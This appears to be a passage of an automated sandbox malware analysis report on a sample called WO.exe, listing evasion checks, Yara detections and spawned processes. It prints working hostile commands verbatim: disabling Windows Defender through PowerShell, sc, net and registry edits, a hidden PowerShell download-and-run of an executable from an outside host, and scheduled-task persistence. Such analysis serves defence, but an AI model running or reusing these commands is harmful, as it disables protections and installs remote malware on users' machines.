Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6228	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe TID: 6356	Thread sleep count: 84 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7068	Thread sleep count: 7924 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7068	Thread sleep count: 1679 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1236	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6176	Thread sleep count: 4232 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6176	Thread sleep count: 2187 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4228	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4192	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\WO.exe	File opened: C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.tmp	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	File opened: C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	File opened: C:\Users\user\AppData\Local\Temp\4782.tmp	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	File opened: C:\Users\user\	Jump to behavior

Source: WO.exe, 00000012.00000002.1814337059.0000000000545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}
Source: reddit.exe, 00000035.00000002.2895884441.0000000000778000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllI
Source: reddit.exe, 00000006.00000002.2895876623.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, reddit.exe, 0000001B.00000002.2896012153.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, reddit.exe, 0000001C.00000002.2895946149.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\WO.exe

Code function: 0_2_000000014000D9C4 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,

0_2_000000014000D9C4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_2316.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_6104.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_4476.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_4996.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: WO.exe PID: 6924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WO.exe PID: 2476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WO.exe PID: 6100, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WO.exe PID: 6156, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\6F6D.tmp\6F7E.tmp\6F7F.bat, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\7038.tmp\7039.tmp\703A.bat, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\481A.tmp\481B.tmp\481C.bat, type: DROPPED

Disables Windows Defender (via service or powershell)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"

Modifies Windows Defender protection settings

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"

Source: C:\Users\user\Desktop\WO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\reddit.exe "C:\Users\user\AppData\Local\Temp\reddit.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditLogon"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "RunRedditLogon" /tr "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" /sc onlogon /rl highest /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditMinute"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "RunRedditMinute" /tr "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" /sc minute /mo 1 /rl highest /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config WinDefend start= disabled	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net stop WinDefend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop WinDefend	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\6F6D.tmp\6F7E.tmp\6F7F.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\7038.tmp\7039.tmp\703A.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\reddit.exe "C:\Users\user\AppData\Local\Temp\reddit.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditLogon"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditMinute"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config WinDefend start= disabled	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net stop WinDefend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\reddit.exe "C:\Users\user\AppData\Local\Temp\reddit.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditLogon"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditMinute"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net stop WinDefend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop WinDefend
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop WinDefend
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\481A.tmp\481B.tmp\481C.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\reddit.exe "C:\Users\user\AppData\Local\Temp\reddit.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditLogon"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditMinute"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
